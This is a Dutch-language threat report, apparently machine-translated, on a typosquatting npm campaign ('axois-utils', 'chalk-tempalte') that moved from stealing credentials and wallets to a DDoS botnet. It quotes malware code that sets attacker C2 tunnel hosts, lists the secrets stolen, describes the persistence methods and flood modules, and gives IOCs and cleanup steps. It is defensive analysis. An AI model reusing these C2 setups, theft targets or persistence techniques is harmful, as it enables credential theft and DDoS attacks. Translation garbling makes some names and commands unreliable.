TL; DR
Een enkele npm-publisher, deadcode09284814heeft een typosquat-campagne gevoerd tegen de legitieme axios en chalk-template pakketten vanaf medio mei 2026.
De campagne begon als een conventionele poging om inloggegevens en portemonnees te stelen, waarbij data werd doorgesluisd naar een Serveo HTTPS-tunnel.
On 2026-05-17met axois-utils:1.0.9De operator heeft de payload volledig vervangen: dezelfde triple install-hook-structuur, dezelfde uitgever, dezelfde pakketnaam.
Maar het installatiescript is nu een platformonafhankelijk DDoS-botnet dat het systeem heeft gerekruteerd.
De payload spreekt tot een localhost.run Het systeem tunnelt en accepteert flood-commando's, waardoor geïnfecteerde omgevingen onderdeel worden van een botnet dat DDoS-aanvallen kan uitvoeren.
De operator heeft zelfs de verzending verzorgd. C2-server binair In het tarball-bestand is een duidelijke escalatie te zien van diefstal van inloggegevens naar een actieve botnetinfrastructuur.
Twee pakketten, vier versies die nog actief zijn in het register, en één operator die nu beide modules parallel uitvoert.
Ernstgraad: hoog.
De aanval: hoe werkt het?
De campagne is gebouwd op een opzettelijk saai leveringsplatform: twee typosquat-pakketnamen, die slechts één letter verschillen van pakketten met honderden miljoenen wekelijkse downloads (Axios, krijtsjabloon), en drievoudige installatie hooks dat garandeert de uitvoering. Wat interessant is, is wat het raamwerk is. draagt — en het feit dat de operator de lading veranderde zonder verder iets te veranderen.
Het gedeelde steigerwerk
Elke gepubliceerde versie van beide pakketten declareert dezelfde drie levenscycli. hooks in package.json:
"scripts": { "preinstall": "node <payload>.js", "install": "node <payload>.js", "postinstall": "node <payload>.js" } De lading onder alle drie de categorieën vermelden. hooks is overdreven — na installatie zou in de standaardinstellingen draaien. npm installerenDe keuze is belangrijk: npm install –ignore-scripts Slaat scripts over, maar wel verschillende veelvoorkomende workflows (CI-cache herstelt die heruitvoeringscyclus). hooks selectief, of ontwikkelaars die alleen audits uitvoeren na installatie) een drievoudig redundante verklaring is de veiligste optie voor de aanvaller.
krijt-tempel voegt een tweede mechanisme toe: het verklaart axois-utils:^1.0.7 als een runtime afhankelijkheidHet installeren van de typosquatting krijtsjabloon Het haalt dus ook het verwante Typosquat binnen, en beide payloads worden uitgevoerd. De twee pakketten vormen een gecoördineerd paar, geen onafhankelijke vermeldingen.
Fase A — dief van inloggegevens/wallets (15-05-2026 → heden)
Fase A is de oorspronkelijke lading. De lader is een korte postinstall.js dat verwijst naar een Serveo HTTPS-reversetunnel:
// chalk-tempalte/postinstall.js:11-13 const C2_HOST = "f04a273bd84c0622-80-200-28-28.serveousercontent.com"; const C2_PORT = 443; const C2_PATH = '/collect'; Het Serveo-subdomein codeert het bestemmings-IP-adres (80.200.28.28) rechtstreeks in de hostnaam — een herkenbare conventie voor die dienst. De operator roteert het willekeurige subdomeinvoorvoegsel tussen versies om naïeve domeinblokkeerlijsten te omzeilen, maar het onderliggende IP-adres blijft altijd hetzelfde.krijt-template:1.0.14 gebruikt 8a3e818ea8f11186-80-200-28-28…; 1.0.16 / 1.0.19 / 1.0.20 gebruik f04a273bd84c0622-….)
postinstall.js handen eraf phantom.js, een gebundelde "collector"-module met 7,667 regels. phantom.js loopt de gastheer voor:
SSH-privésleutels (~/.ssh/*) |
.npmrc inhoud en alle npm_* omgevings-tokens |
| AWS-, GCP- en Azure-referentiebestanden |
GitHub persoonlijke-toegangstoken reguliere expressie (ghp_*, gho_*, ghu_*, ghs_*) |
| Cryptowallet-applicaties voor Bitcoin, Exodus, Electrum, Monero, Litecoin, Dogecoin, Zcash en Dash. |
Een recursieve .env* doorlopen ~/projects, ~/dev, ~/code, ~/workspaceen de installatie van de huidige werkmap |
Shell-geschiedenissen en het volledige process.env |
Het pakket wordt per POST naar de Serveo-tunnel verzonden. / verzamelenEr is geen sprake van verhulling, geen anti-VM-logica, geen staging — de operator zet alles in op volume en snelheid.
Fase B — PhantomBot DDoS-aanval (2026-05-17, alleen axois-utils:1.0.9)
Fase B vervangt phantom.js + postinstall.js door één enkel bestand met de naam distrube.js (de typefout zit in de operator). De structuur met de drie hooks in package.json blijft ongewijzigd; het pakket behoudt dezelfde naam, scope en versie-updatepatroon. Van buitenaf lijkt axois-utils:1.0.9 een kleine opvolger van 1.0.6. Van binnen is het echter een andere malwarefamilie.
disrupt.js opent met een configuratieblok waarin de eigen merknaam van de operator wordt ingesteld:
// axois-utils-1.0.9/distrube.js:11-15 |
// Use your localhost.run HTTPS URL (the tunnel handles HTTP internally) |
const C2_HOST = 'b94b6bcfa27554.lhr.life'; // Your localhost.run tunnel |
const C2_PORT = 443; // HTTPS port - tunnel handles SSL |
const BOT_ID = `${os.hostname()}_${Date.now()}_${crypto.randomBytes(4).toString('hex')}`; |
De opmerkingen zijn gericht aan een toekomstige gebruiker die de kit gaat gebruiken ("Gebruik uw localhost.run HTTPS-URL"). Dat, plus wat er vervolgens met de botclient wordt meegeleverd, is de aanwijzing dat dit niet zomaar een payload voor het slachtoffer is, maar de complete kit.
De stroom:
- Volharding Het script wordt eerst uitgevoerd. Het installeert zichzelf op drie verschillende manieren per besturingssysteem (register). lopen + Opstartmap + schtaken op Windows; crontab + phantom-bot.service systeemd-eenheid + .bashrc/.zshrc toevoegen + /etc/rc.local op Linux; LaunchAgent com.phantom.bot.plist (op macOS). De naam van de persistentieservice en het label van de LaunchAgent zijn beide spookbot / com.phantom.botDat is ook waar de campagnenaam vandaan komt.
- Systeeminfo-exfiltratie Deze fase wordt eenmalig uitgevoerd — een eenmalige POST-aanvraag met een vingerafdruk naar b94b6bcfa27554.lhr.life:443/collect met de hostnaam, platform, architectuur, gebruikersnaam, CPU/RAM, netwerkinterfaces, process.env, huidige werkmap, thuismap, nodeversie en openbaar IP-adres. Dit is veel minder agressief dan Fase A: geen SSH, geen wallets, geen recursie in .env-bestanden. De taak van de bot is registreren, niet stelen.
- Hartslagloop Opent elke 30 seconden een HTTPS POST-verzoek naar b94b6bcfa27554.lhr.life:443/. De User-Agent is PhantomBot/1.0. TLS-verificatie is expliciet uitgeschakeld (rejectUnauthorized: false). Het C2-antwoord wordt geparseerd als JSON in de vorm {type, target, port, duration, threads, method} en verzonden.
- Overstromingsarsenaal is aangesloten op zes commando's:
| Type opdracht | Module | Notes |
|---|---|---|
| ping | Live reactie | De bot identificeert zichzelf |
| http | HTTP-overstroming | Layer-7 verzoekoverstroming |
| https | HTTPS-overstroming | Hetzelfde als http, maar dan met TLS-beveiliging. |
| tcp | TCP-overstroming | 65 KB spam met willekeurige payload |
| udp | UDP-overstroming | UDP-pakketten van 65,507 bytes |
| snel | HTTP/2 snelle reset DoS | De CVE-2023-44487-techniek uit 2023 |
Alle vijf overstromingsmodules nemen een doel, port, duuren schroefdraad Argument: de bot is een generieke, voor de markt geschikte flooder, niet gericht op een specifiek slachtoffer. De lijst met slachtoffers van de operator bevindt zich op de C2-server, niet in het pakket.
Wat is er nieuw? — het verzonden C2-binair bestand
Fase A is een bekend patroon: diefstal van inloggegevens, installatiehack, C2-verbinding via een leverancierstunnel. Fase B is ook een bekende vorm — DDoS-botnets zijn al jaren een vast onderdeel van kwaadaardige npm-pakketten. Wat ongebruikelijk is, is dat de operator het pakket verstuurde. serverzijde van de kit in het npm-tarball:
- c2 — een gecompileerd Go ELF-binair bestand van 4 megabyte
- c2.go — de 426 regels tellende Go-broncode voor dat binaire bestand
Geen van beide bestanden wordt aangeroepen door een installatiehook. Ze maken geen deel uit van de payload van het slachtoffer. Ze bevinden zich in de pakketmap, net zoals een documentatiebestand. De meest plausibele verklaring is dat de operator zijn ontwikkelomgeving naar npm heeft gepusht zonder de bestandslijst te controleren – een echte beveiligingsfout – en dat wat is verzonden de complete tweezijdige kit is: de client die een slachtoffer gebruikt en de server die de operator gebruikt.
Dit is het deel van het verhaal dat de omschrijving "kant-en-klare botnetkit" rechtvaardigt. Iedereen die het gedownload heeft... axois-utils:1.0.9 Before Takedown beschikt niet alleen over een slachtofferdataset, maar ook over een werkende C2-server.
Het cruciale punt, in één zin.
Dezelfde uitgever, dezelfde pakketnamen, dezelfde driedelige structuur, dezelfde "schijnmerknaam" — maar De payload veranderde het verdienmodel van de ene op de andere dag.Van "oogstgeheimen die ik kan doorverkopen" tot "overstromingscapaciteit huren die ik kan leasen". De TTP's (Tactics, Techniques, and Procedures) die verdedigers tijdens de installatie in de gaten moeten houden, zijn in beide fasen vrijwel identiek; op handtekeningen gebaseerde verdedigingen die zijn afgestemd op de wallet-padstrings van Fase A of op phantom.jsDe 7,667-lijns collector van 's zou fase B volledig hebben gemist.
| Datum (UTC) | Evenementen |
|---|---|
| 2026-05-15 | Eerste publicatie: axois-utils:1.0.4 (LAN-testversie, ontwikkelomgeving op 192.168.129.19) |
| 2026-05-15 | axois-utils:1.0.6 gepubliceerd — Fase A C2 omgewisseld naar 80.200.28.28 via de Serveo-tunnel; de bronvermelding // Change to '80.200.28.28' for public bevestigt de dev→prod-wissel |
| 2026-05-16 | chalk-tempalte:1.0.14 en 1.0.16 gepubliceerd — gekoppelde lader verklaart axois-utils:^1.0.7 als runtime-afhankelijkheid; Serveo-subdomein geroteerd |
| 2026-05-16 | Fase A-campagne ontdekt tijdens routinematige npm-scans; bevestigde kwaadaardige bevindingen toegepast |
| 2026-05-17 | axois-utils:1.0.9 gepubliceerd — payload pivot: PhantomBot DDoS-aanval via localhost.run-tunnel; operatorzijde c2 binair en c2.go broncode meegeleverd in het tarball-bestand |
| 2026-05-17 | chalk-tempalte:1.0.19 en 1.0.20 gepubliceerd — nog steeds Fase A (diefstal); operator voert nu beide modules parallel uit; |
| 2026-05-17 | Ontdekking van fase B tijdens routine-scan; conclusies toegepast op alle gevallen 2026-05-17 versies |
| (voortgaande) | Er zijn nog geen verwijderingsverzoeken ingediend; alle vier de gepubliceerde pakketten zijn op het moment van schrijven nog steeds beschikbaar in het register. |
Indicatoren van compromis
Arrangementen
| Ecosysteem | Pakket | versies |
|---|---|---|
| NPM | axois-utils (typosquat van axios) | 1.0.4, 1.0.6, 1.0.9 |
| NPM | chalk-tempalte (typosquat van krijtsjabloon) | 1.0.14, 1.0.16, 1.0.19, 1.0.20 |
Auteursidentiteit
| Veld | Waarde |
|---|---|
| npm-uitgever | deadcode09284814 |
| E-mailadres van de uitgever | phantomdeadcode@tutamail.com |
| SCM verificatie | geen |
Commando en controle
| Fase | Endpoint | Transport |
|---|---|---|
| A | f04a273bd84c0622-80-200-28-28.serveousercontent.com:443/collect | Serveo HTTPS-tunnel |
| A | 8a3e818ea8f11186-80-200-28-28.serveousercontent.com:443/collect | Serveo HTTPS-tunnel (eerdere versie) |
| A | 80.200.28.28:443/collect | Onderliggend VPS-eindpunt |
| B | b94b6bcfa27554.lhr.life:443/ | localhost.run HTTPS reverse-tunnel |
Bestandssamenvattingen (SHA-256)
| Dien in | SHA-256 | Notes |
|---|---|---|
c2 (Go ELF, 4 MB) | 165fa92d237fd017c227d00da06ab788212a62be94bf61e95df2d22d00377ef2 | Operator-side C2-server, meegeleverd axois-utils:1.0.9 |
c2.go (426 regels) | 7d0ae79fdb1e9968f3323a3712b624643a782ba3efb2cf3a2cb9c4c5513cea30 | Ga naar de broncode voor het C2-binaire bestand. |
distrube.js | 308b15c023088a7188dea4ef609010ac2493eb4c365b103053d7621a9ca5b935 | Fase B botclient |
phantom.js (chalk-tempalte:1.0.19) | 9e380ec88d3ccf3929e1a104e3b868d4d7b59ca189a8a431a54e9f3357dfdd81 | Fase A: verzamelaar van inloggegevens/wallets |
phantom.js (chalk-tempalte:1.0.20) | d1c9e3f296ee9f7d5032f73f9c504cede50334bc14c394055fd5cb9c3a6e08b3 | Fase A-collector (variant 1.0.20) |
postinstall.js (chalk-tempalte:1.0.19 = 1.0.20) | ffba9bdd6793edd5b38e12900252c1813a693f59c25af51c3b658cf3f27b6162 | Fase A-lader, byte-identiek in beide versies. |
Toeschrijving en motivatie
We volgen deze campagne als PhantomBotwaarbij de eigen merkidentiteit van de exploitant wordt overgenomen van de Gebruikersagent: PhantomBot/1.0 hartslagkop, de phantom-bot.service systemd-eenheid, de com.phantom.bot LaunchAgent-label, en de phantomdeadcode@ e-mailgebruikersnaam. De operator gebruikt deze naam consequent in ten minste vier artefacten.
Signalencatalogus
- Uitgever - dode code09284814 op npm. Account met één handle, Tutamail wegwerp-e-mailadres, nee SCM Verificatie. Geen eerdere publicaties buiten deze campagne.
- Hergebruik van merknaam — “phantom” verschijnt in de e-mail van de uitgever, in de bestandsnaam van de Phase A-verzamelaar (phantom.js), in de naam van de persistentieservice van Fase B (phantom-bot.service), in het LaunchAgent-label (com.phantom.bot), en in de User-Agent van de bot (PhantomBot/1.0).
- Infrastructuur — Een enkele VPS bij 80.200.28.28 Fase A gaat verder via Serveo-subdomeinrotatie; Fase B gaat verder naar een localhost.run omgekeerde tunnel (b94b6bcfa27554.lhr.lifeBeide leveranciersdiensten zijn gratis en vereisen alleen uitgaande SSH-toegang aan de kant van de operator, wat past bij budgetvriendelijke en operationele beveiligingsomgevingen.
- Codestijl — Volledig gebruik van pure JavaScript; geen versleuteling, geen tekenreekscodering, geen anti-VM-controles. Variabelnamen zijn beschrijvend (stealSystemInfo, executeCommand, httpFlood). Opmerkingen in disrupt.js Het bestand richt zich direct tot een toekomstige gebruiker ("Gebruik uw localhost.run HTTPS-URL"), wat suggereert dat het bedoeld was om als een kit te worden verspreid en niet om door één enkele aanvaller te worden gebruikt.
- OpSec-slip — Het Phase B tarball-bestand bevat zowel de botclient als de C2-server aan de operatorzijde (c2 ELF + c2.go bron). Dit komt overeen met een operator die zijn werkmap naar npm heeft gepusht zonder de bestandslijst te controleren. Of de operator is onervaren, of de kit is betekende Het is de bedoeling dat het product publiekelijk wordt verspreid en de C2-binary maakt deel uit van het product.
- Zelfbevestiging - axois-utils:1.0.4 bevat de broncommentaar // Wijzig naar '80.200.28.28' voor openbare toegang Op regel 12 wordt de voortgang van ontwikkeling/testen/productie bevestigd, iets wat operators doorgaans ontkennen.
Motivatie
De payload van Fase A is rechtstreekse financiële diefstal: inloggegevens, cloud-sleutels, GitHub-tokens en cryptowallets hebben allemaal liquide doorverkoopmarkten. Fase B is ook financieel, maar indirect: DDoS-diensten die op afroep beschikbaar zijn ("booter"-diensten) verhuren capaciteit per minuut, en bots zoals degene die hier wordt getoond, vormen de basis waarop deze diensten draaien. De hartslag van 30 seconden, de generieke doel/port/duur commandoschema en het vijf-protocol flood-arsenaal zijn de standard product van een booter operator.
Beide modules parallel uitvoeren — krijt-template:1.0.19 en 1.0.20 ga door met het verzenden van de dief terwijl axois-utils:1.0.9 Het verzenden van de bot suggereert dat de operator zijn inkomstenstromen spreidt in plaats van fase A op te geven. De omschakeling is een toevoeging, geen vervanging.
Wat we niet beweren
We hebben de identiteit van de persoon achter de afbeelding niet kunnen achterhalen. dode code09284814 We schrijven deze campagne niet toe aan een specifieke dader, groep of land. De "phantom"-merknaam is consistent genoeg in alle uitingen om te suggereren dat het om één operator gaat, maar de manier waarop de C2-binary in een pakket wordt geleverd, laat de mogelijkheid open dat toekomstige pakketten van andere gebruikers dezelfde code hergebruiken.
Impact, trends en wat verdedigers moeten doen
Impact
De legitieme kraakdoelen Axios en krijtsjabloon worden veelvuldig gebruikt in het JavaScript-ecosysteem; Axios Alleen al staat het in de top dertig van meest gedownloade npm-pakketten. De typosquat-namen verschillen slechts één toetsaanslag van de echte namen.axois ↔ Axios, tempel ↔ sjabloon), en beide zijn taalkundig gezien plausibele spelfouten.
We konden geen betrouwbare downloadstatistieken verkrijgen voor de kwaadwillige versies vóór de verwijdering ervan. npm bewaart namelijk geen downloadaantallen per versie nadat een pakket niet meer gepubliceerd is. npms.io-stijl proxy's zijn op deze schaal lawaaierig. Elke organisatie waarvan het lockfile verwijst naar een pakket met de naam axois-utils or krijt-tempel van de uitgever dode code09284814 moet als gecompromitteerd worden beschouwd: vervang alle inloggegevens die aanwezig zijn in proces.env Controleer op de betreffende host de persistentievectoren per besturingssysteem (zie "Wat verdedigers moeten doen" hieronder) en verwijder de afhankelijkheid.
Opkomende patronen
Deze campagne illustreert een verschuiving die we bij verschillende recente npm-incidenten hebben waargenomen: De steiger met installatiehaken is een duurzaam product.De lading is verwisselbaar.Dezelfde uitgever, hetzelfde pakket, hetzelfde vooraf installeren / installeren / na installatie driedubbel, en zelfs dezelfde versie-bump cadans — het enige dat veranderde tussen axois-utils:1.0.6 en axois-utils:1.0.9 was het bestand hooks uitvoeren. Detectie op basis van handtekeningen, gekoppeld aan de payload van Fase A (wallet-padstrings, phantom.jsDe 7,667-lijns collector van 's, de Serveo C2 host, zou de eerste drie versies hebben afgekeurd en fase B volledig hebben gemist.
Hetzelfde patroon is zichtbaar in andere campagnes uit 2026 die we hebben gevolgd: één operator met een stabiele basis, die wisselt tussen diefstal van inloggegevens, clients voor examenfraude, datalekken via Telegram-bots en nu DDoS-aanvallen om slachtoffers te werven. Verdedigers die vertrouwen op payload-signatures zullen de tweede ronde van elke campagne blijven verliezen.
Het gevolg hiervan is dat TTP's tijdens de installatie zijn het betere signaal.Drievoudige installatie-hook-declaraties, installatiescripts die importeren https or kind_proces, installeer scripts die naar opstartmappen van de gebruiker schrijven, en installeer scripts die hostnamen oplossen op gratis reverse-tunneldiensten (Serveo, localhost.run(zoals ngrok en cloudflared) komen zelden voor in legitieme pakketten en zijn veelvoorkomend in kwaadaardige pakketten.
Wat verdedigers moeten doen
- Lockfile-audit. Zoek alles pakket-lock.json / garen.slot / pnpm-lock.yaml in uw organisatie voor de exacte tekenreeksen axois-utils en krijt-tempelBeschouw elke wedstrijd als een compromis.
- Geheimen roteren op aangetaste gastheren. Fase A: het in bulk verzamelen van SSH-, cloud-, GitHub-, npm- en wallet-gegevens. We gaan ervan uit dat alle ooit aanwezige inloggegevens aanwezig zijn. proces.env, ~ / .ssh, ~/.aws, ~/.npmrc, ~ / .configof wat dan ook .env* Het bestand op de betreffende host is blootgesteld.
- Verwijder persistentie (Fase B). Verwijderen op Windows HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate, verwijderen %APPDATA%\Microsoft\Windows\Start Menu\Programma's\Opstarten\systeemupdate.baten schtasks /delete /tn SystemUpdate /fOp Linux, crontab -e en verwijder @node opnieuw opstarten …, systemctl –user disable –now phantom-bot.service vervolgens verwijderen ~/.config/systemd/user/phantom-bot.serviceschrobben .bashrc / .zshrc / /etc/rc.localOp macOS, launchctl unload ~/Library/LaunchAgents/com.phantom.bot.plist Verwijder vervolgens het plist-bestand.
- Blokkeer de C2-hosts. Voeg de vier C2-eindpunten in de IOC-tabel toe aan uw blokkeerlijst voor uitgaand verkeer. *.serveousercontent.com en *.lhr.life Deze dienst kan volledig worden geblokkeerd als er in uw omgeving geen legitiem gebruik is voor reverse-tunneldiensten.
- Zoek op basis van TTP tijdens installatie, niet de lading. Inventarisvergrendelingsbestandvermeldingen waarvan package.json verklaart vooraf installeren, installerenen na installatie Ze wijzen allemaal naar hetzelfde script. Controleer dit aan de hand van de leeftijd van het pakket en de verificatiestatus van de uitgever. Dit patroon komt zelden voor in legitieme pakketten en is het meest betrouwbare signaal dat PhantomBot hergebruikt.
- Audit voor het C2-binaire bestand. Iedereen die het gedownload heeft axois-utils:1.0.9 heeft de C2-server van de operator (c2 ELF, sha256 165fa92d…) op schijf. Scan caches en CI artifact stores. Het binaire bestand is op zichzelf inactief, maar de aanwezigheid ervan op een werkstation is ondubbelzinnig bewijs dat het pakket is geïnstalleerd.
Sluitingslijn
Dezelfde operator, hetzelfde pakket en dezelfde installatiehaak kunnen binnen 48 uur compleet verschillende bedreigingen opleveren. Let op de structuur, niet op de lading.




